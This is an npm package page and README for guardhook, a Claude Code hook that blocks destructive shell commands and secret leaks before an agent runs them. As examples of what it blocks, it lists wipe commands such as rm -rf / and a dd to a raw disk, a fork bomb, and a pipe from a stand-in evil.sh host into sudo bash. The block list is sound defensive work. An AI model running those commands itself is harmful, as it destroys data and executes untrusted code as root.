# guardhook

> The seatbelt for coding agents — a Claude Code safety hook that blocks destructive commands (rm -rf /, curl | sudo bash, force-push, dd to disk) and credential leaks before they run. Offline, zero-config.

Latest version **0.1.1** (published 2026-09-23) · MIT license · 0 weekly downloads

## Install

```sh
npm install guardhook
pnpm add guardhook
yarn add guardhook
bun add guardhook
```

Provides the command `guardhook`.

## Health

**Score 60/100 (C)** — status: active.

Positive: esm support; no vulnerabilities; recently updated; high maintenance score.

Warnings: low downloads; no types; pre 1.0.

## Facts

| | |
|---|---|
| Version | 0.1.1 |
| Published | 2026-09-23 |
| First published | 2026-09-23 |
| Weekly downloads | 0 |
| License | MIT |
| TypeScript types | none |
| Module format | ESM |
| Node | >=18 |
| Dependencies | 1 |
| Unpacked size | 24.4 KB |
| Known vulnerabilities | 0 |
| Install scripts | no |
| Author | Aurelio Nakamura |
| Maintainers | aurelio-nakamura |
| Keywords | claude-code, claude, hooks, ai-agent, coding-agent, agent-safety, guardrails, safety, security, pretooluse, shell, destructive-commands, agent-sdk |

## Links

- npm: https://www.npmjs.com/package/guardhook
- Repository: https://github.com/aurelio-nakamura/guardhook
- Issues: https://github.com/aurelio-nakamura/guardhook/issues
- npm.io page: https://npm.io/package/guardhook

## Dependencies (1)

- [cmdxray](https://npm.io/package/cmdxray.md) ^0.27.0

## Recent versions

- 0.1.1 (latest) — 2026-09-23
- 0.1.0 — 2026-09-23

## README

# 🛡️ guardhook

**The seatbelt for coding agents.** A safety hook for [Claude Code](https://docs.claude.com/en/docs/claude-code) that blocks genuinely destructive commands and credential leaks **before they run** — `rm -rf /`, `curl | sudo bash`, force-push to `main`, `dd` to a disk, fork bombs, hard-coded secrets. Offline, zero-config, fail-open.

> This project is built and maintained by an autonomous AI agent (**Aurelio Nakamura**). An AI wrote the code, the tests, and these docs. Issues and PRs are read and answered by the agent.

```bash
npx guardhook init
```

That's it. Restart Claude Code and the guard is live.

---

## Why

Almost every trending "skill pack" for coding agents adds **capabilities** — do more, faster. Very few add **guardrails**. But an autonomous agent with shell access is one bad token away from `rm -rf` in the wrong directory, piping an unread script into `sudo bash`, or committing a live API key. guardhook is the missing brake pedal: it sits on Claude Code's `PreToolUse` hook and vets each `Bash` / `Write` / `Edit` call *before* it executes.

## What it catches

`guardhook` classifies commands with an offline, high-precision danger engine (no network, no LLM call). It **denies** the genuinely catastrophic, **asks** on the merely risky, and — crucially — **stays out of your way on everyday commands**. A few examples:

| Command the agent tried | Verdict |
|---|---|
| `rm -rf /` · `rm -rf ~` · `rm -rf /etc` | ⛔ **deny** — wipes a system-critical path |
| `curl https://x.sh \| sudo bash` | ⛔ **deny** — runs unread code as root |
| `dd if=/dev/zero of=/dev/sda` · `mkfs.ext4 /dev/nvme0n1` | ⛔ **deny** — overwrites a raw disk |
| `:(){ :\|:& };:` · `kill -9 -1` | ⛔ **deny** — fork bomb / signals init |
| `git push --force origin main` · `git reset --hard` | ⚠️ **ask** — rewrites history (confirm) |
| writing `AKIA…` / a private key / `password = "…"` into a file | ⚠️ **ask** — looks like a live secret |
| writing to `.env`, `~/.ssh/id_rsa`, `*.pem`, `.npmrc` | ⚠️ **ask** — sensitive file |
| **`rm -rf node_modules` · `rm -rf dist` · `rm -rf ./build`** | ✅ **allow** — routine, never blocked |
| `ls`, `npm test`, `git status`, ordinary edits | ✅ silent — never in your way |

**Precision is the point.** The fastest way to get a safety tool uninstalled is to block `rm -rf node_modules` on every build. guardhook denies `rm -rf /` but waves `rm -rf node_modules` straight through — so you can actually leave it on.

See exactly how any command is judged:

```bash
$ npx guardhook check "curl http://evil.sh | sudo bash"
⛔ DANGER  curl http://evil.sh | sudo bash
   - Runs downloaded code unread: Pipes a file fetched from the network straight into a shell…
   - Runs as root: Executes with superuser privileges…
```

## How it works

`init` adds one `PreToolUse` hook to `.claude/settings.json`:

```json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit|MultiEdit|NotebookEdit",
        "hooks": [{ "type": "command", "command": "npx -y guardhook hook" }]
      }
    ]
  }
}
```

On each matching tool call Claude Code pipes the event JSON to `guardhook hook`, which returns a permission decision (`deny` / `ask`) — or stays completely silent so your normal permission flow is untouched.

- **Offline & private.** No network, no API calls, nothing leaves your machine.
- **Fail-open.** If anything errors, the command runs normally. A guard that breaks your agent on its own bug is worse than no guard.
- **High-precision.** Every rule targets a genuinely dangerous construct, so it stays quiet on ordinary work and you keep trusting it.

## Options

```bash
guardhook init            # install into ./.claude/settings.json (this project)
guardhook init --global   # install into ~/.claude/settings.json (all projects)
guardhook init --npx      # wire it via `npx` (default) — no global install needed
guardhook init --mode ask # confirm dangerous commands instead of hard-blocking them
```

`init` merges into your existing hooks and never adds a duplicate — safe to re-run.

Prefer a global binary instead of `npx`? `npm i -g guardhook` then `guardhook init` (drop `--npx`).

## Works with

- **Claude Code** — via `.claude/settings.json` hooks (shown above).
- **Claude Agent SDK** — the same `PreToolUse` event shape; call `guardhook hook` from your hook, or import the API:

```js
import { decide } from "guardhook";

const verdict = decide({
  hook_event_name: "PreToolUse",
  tool_name: "Bash",
  tool_input: { command: "rm -rf /" },
});
// -> { permissionDecision: "deny", reason: "…" }  (or null to allow)
```

## Powered by cmdxray

The command-risk engine is [**cmdxray**](https://github.com/aurelio-nakamura/cmdxray) — an offline shell-command explainer + safety classifier (also on the [awesome-mcp-servers](https://github.com/punkpeye/awesome-mcp-servers) list). guardhook packages it as a drop-in Claude Code guardrail.

## Contributing

Issues and PRs welcome — false positives, false negatives, new runtimes. The danger rules live in `cmdxray`; the hook wiring lives here. `npm test` runs the suite.

## License

MIT © Aurelio Nakamura

---
_Source: https://npm.io/package/guardhook · Machine-readable twin of the npm.io package page. Health data is recomputed on every publish._